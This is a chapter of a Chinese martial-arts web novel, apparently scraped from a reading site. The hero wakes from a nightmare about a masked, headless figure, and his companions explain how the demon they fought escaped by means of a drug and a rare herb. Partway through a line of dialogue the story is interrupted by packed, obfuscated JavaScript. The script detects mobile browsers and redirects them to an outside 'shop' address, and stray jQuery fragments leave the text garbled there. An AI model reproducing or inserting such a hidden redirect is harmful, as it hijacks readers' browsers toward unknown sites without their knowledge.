24.复盘

作品:《问鼎

    夜,稠密如浓墨的夜,伸手见不到五指,人只能听着心跳判断自己是否还活着,五感似乎都失去了作用。


    任平生不知道为什么自己站在那里,他想喊,却怎么也发不出声音。


    周围似乎很空旷,又似乎很逼仄,空气仿佛在流动,又觉得是静止不动。


    这是在哪儿?


    像是为了回答他的问题一般,前方突然出现一个庞大的影子,是一个人,戴着面具。


    他花了好些功夫才勉强看清,那面具的尺寸大得诡异,罩在人脸上连头发丝都露不出,奇怪的是它偏偏和脖子连接得很完美,像是原本就长在身上一样,乍一看上去整个人就是个大头的畸形怪物。


    怪物站着没动,可任平生能越来越清楚的看清面具上的模样,整张脸惨白,一双呆板无神的眼,瞳仁占据了整个瞳孔,没有鼻子,一张极力张大的嘴巴黑洞洞的,像要吞噬了一切。


    “你是谁?”任平生没料到自己的声音居然发了出来,又问了一遍,“你是谁?”


    一片死静,所有的墨色仿佛都在朝怪物涌去,他也许的确在吞噬着什么。


    任平生拔脚往怪物的方向走去,他也说不上究竟是什么在吸引着自己,看上去很短的距离,他走了很久很久,到怪物面前时已经是气喘吁吁。


    近看是一张更加可怖的脸,惨白的皮肤上有数不清的小坑,就连大嘴也凹凸不平,像是无数张小嘴组成了大嘴的形状。


    可任平生心底某一处却被唤醒,潜意识里觉得面具有一种熟悉的感觉,这种感觉如果一定要用语言形容,他第一个想到的居然是——久别重逢。


    不对,他又花了些时间才明白,让他觉得熟悉的不是面具本身,而是面具后的那张脸。


    着魔一般,他慢慢出手伸向面具。


    怪物没有反抗。


    他心跳得越来越快,终于很顺利揭下了那张面具,却吃惊得说不出话来。


    面具后根本没有人脸,整个身子上根本没有头颅,在本该是头颅的地方,燃烧着一大团火焰。


    一团乌青色、看上去很像是深山里一大团雾气的火焰,凭空燃烧着,形状不断在变幻,但始终集中在一小块地方。


    突然火舌像长蛇吐信一样滋到任平生鼻尖,他一惊,躲闪不及,火焰竟从他的鼻尖开始蔓延全身。


    一刹那所有的夜色都开始燃烧起来,他被吞没在火海当中,但只有他身上的火焰变成了血红色,其余的火焰仍然是乌青。


    火焰烧过他的皮肤没有留下一丁点的痕迹,外表看上去他毫发无损,就连衣服的温度都是正常,可五脏六腑开始撕心地疼,越来越疼,疼得他头皮发麻跪在地上,恍惚里感觉自己轻飘飘浮了起来。他忍受不了,发出了惊恐的叫声。


    *


    “啊啊啊!”


    任平生惊叫着一下子弹坐起来,眼前突然被阳光刺进,好一阵眩晕。


    他呆坐了一会,才想起来检查自己的全身,摸摸脸又摸摸胳膊,上下半身都安然无恙。


    他在的地方是一个浅杏色的世界,杏粉色墙壁、杏色壁橱、身下的被褥也是杏色。


    “这是在哪儿?”嗓音有些哑,但他很欣慰自己还能发出声音,刚才那种拼命喊却喊不出声的经历实在太难受了。


    “苏家二小姐的房间,你不会是傻了吧?”蹲在床边有个人回答。


    他一低头看到附子,再一抬头看到进来得略显匆忙的申欢,显然他醒来时的叫声传出了很远。


    “没有,做了个梦”,任平生暗有些羞惭,重新躺倒在床上,四肢的酸痛此时才慢慢有了感觉。


    申欢见他无事,便靠窗坐了下来,手上拿了快白色的硬物对着阳光不知琢磨什么。


    “我睡了多久?又怎么会在苏扶楹的房间?这人家姑娘的闺房,传出去不大好吧。”任平生偏头问附子。


    “现在刚过卯时,昨夜我和那家伙刚到你就不省人事了,是那家伙把你背回来的,我可背不动你。”附子朝窗边的申欢努了努嘴。


    “你中了那魔头的迷药,又挨了他一棍,那家伙给你配了药,说是药性寒,你最好待在温暖的房间里。苏二小姐体寒,整个苏家最温暖的就是她的寝室,所以我们就把你搬到这了。”


    任平生逐渐回忆起昨夜的事,那人最后似乎掏出个什么东西捏碎了,他迫不及待问道:“那魔头呢?你和大冰块抓住他没有?”


    附子望向申欢一眼,后者专心看着手上的东西没有显示要搭话的意思。附子便道:“没有,他逃了。”


    “逃了?”任平生吃惊道,“我们三个人都在场,他还能逃走?”


    附子指了指申欢:“那家伙说,荒庙外被种满了幽罗草,这种草的根系对笼中笑有特殊的作用,白天的时候可以将笼中笑困在其中,一到晚上根系就会吐出其中的笼中笑,传到花叶当中,再散发到空气里。昨夜荒庙周围就布满了笼中笑,那魔头捏碎的是百草生,可以快速吸引大量的笼中笑。幸好你提前给了还清丹,我们才没有中招。”


    “百草生?那是什么东西?”听着像是一味药的名,很少会遇到他任平生不知道的毒和药。


    “是一种没什么实际作用的麻烦草药,要取百种草的根叶、百种花的花心、百种树的枯叶合炼制成的药丸,捏碎后洒在园圃里能聚集方圆数里的草木灵气,让珍贵的花木起死回生。”附子道。


    任平生恍悟道:“这就说得通了。笼中笑这种迷药很奇特,对某些草木有独特的亲近,若是那魔头手中的百草生是用能吸引笼中笑的草木制成,捏碎之后的灵气必能吸引大量笼中笑进入荒庙。”


    附子点头道:“昨夜笼中笑集结的速度非常之快,我们反应算是快的了,还是吸入了不少。那家伙对笼中笑似乎有点免疫,药效对他作用不大,我则全身麻痹使不出内力来。那魔头很聪觉,专挑我攻击,那家伙护我腾不出手,没能立即捉拿他,即便如此那魔头本来也无法逃走,可后来不知为何他突然红了眼用同归于尽的打法,才侥幸逃脱了。”


    室内沉默少许,任平生又问道:“你们和那人交手,有没有看出他的武功路数来?”


    附子回头看申欢,任平生也跟着看向他。


    申欢见两人目光都投向他,便说道:“中正温和,招式或常或私,看不出门派。”


    附子在旁边翻译道:“那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13645033|142467||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人无论是内力还是招式都是中正一道,是武林正道门派中最多人修的,除了他境界很高之外并没有什么出奇的地方。至于招式,他要么用的是正派中人人都会的入门招式,要么就是我俩都闻所未闻的,大概是私底下自创的,所以看不出门路。”


    申欢补充道:“不过能看出棍棒是他不常用的兵器,就算他聪明地将平时练的招式融到棍法当中,还是有露马脚的地方。他平日惯用的应当是剑。”


    任平生道:“这也没什么稀奇的,剑为江湖第一器,用的人实在太多了。”


    他低头思索了一番,忽然想起附子刚刚的翻译中漏掉了申欢的一个词,而这个词放在那句话里未免有些突兀。


    他就问申欢:“大冰块,你方才形容那人的功法说‘中正温和’,你怎么对一个魔头用上‘温和’这个词?”


    申欢淡淡道:“他内力虽阳不刚,即便自爆气海成魔也不蕴太多杀机,算得上温和。”


    “奇怪,一个害人不眨眼的魔头居然还能被这样形容。”任平生纳闷地嘟囔。


    他捏捏被角,觉得淡粉色的被褥十分软和,身上的酸痛都缓解了不少。


    想到自己是在苏扶楹的房间,一下子想起来什么,腾一下坐起身子四处张望:“苏扶楹呢?昨夜我们没拿住那人,那人有没有跑回来祸害她?”


    申欢的目光淡淡地落到他身上。


    附子回答道:“没有,她安然无恙,现在在苏夫人房里养伤。”


    任平生舒了口气,说道:“保下了她,还好这点是成功了。”


    附子脸上便带着暧昧的笑容无声地笑个不停。


    任平生问道:“小孩你笑什么?”


    附子慢悠悠地道:“我还没见你对一个人这么紧张。”


    “哪有?”任平生不自觉红了耳根,强辩道:“受人所托,折腾了一晚上总要关心下事情有没有办成吧!”


    他突然想起申欢下在他身上的“夜语情”,那冰块说能听到他内心的想法,不会是所有想法都被他听了去吧?也包括......


    “大冰块,咱俩的那个‘夜语情’现在还有吗?”他紧急刹住心里所想,脱口而问。


    申欢摇了摇头,道:“最多维持三个时辰。


    “什么‘夜语情’?你俩怎么又有情,还最多维持三个时辰?背着我什么时候搞上的露水情缘?”附子听懵了。


    任平生顺手拿起枕头朝他扔去:“小小年纪心思邪恶。”拿眼觑了眼申欢,还好,低着头像是没听见似的。


    两人互呛了一阵,重新坐下来,任平生苦恼道:“这次时运不济,被那魔头溜走了,不知道他后面会不会再来找苏家的麻烦,咱们也不能一直待在梵心城守着啊,还是要想法子把那人揪出来为民除害。可眼下我们已经打草惊蛇,短时间内他应该踪影难觅了。”


    附子道:“其实未必。据城中人所说,神子每隔四五个月就要娶妻,而且到了时间就算冒着被抓住的风险也一定要娶。如果时间节点对他很重要,他有不得已的理由在节点到的时候出手,那他现在就一定不会想着怎么隐蔽,而在想怎么才能弥补,所以他下一次动作的时间不会太远。”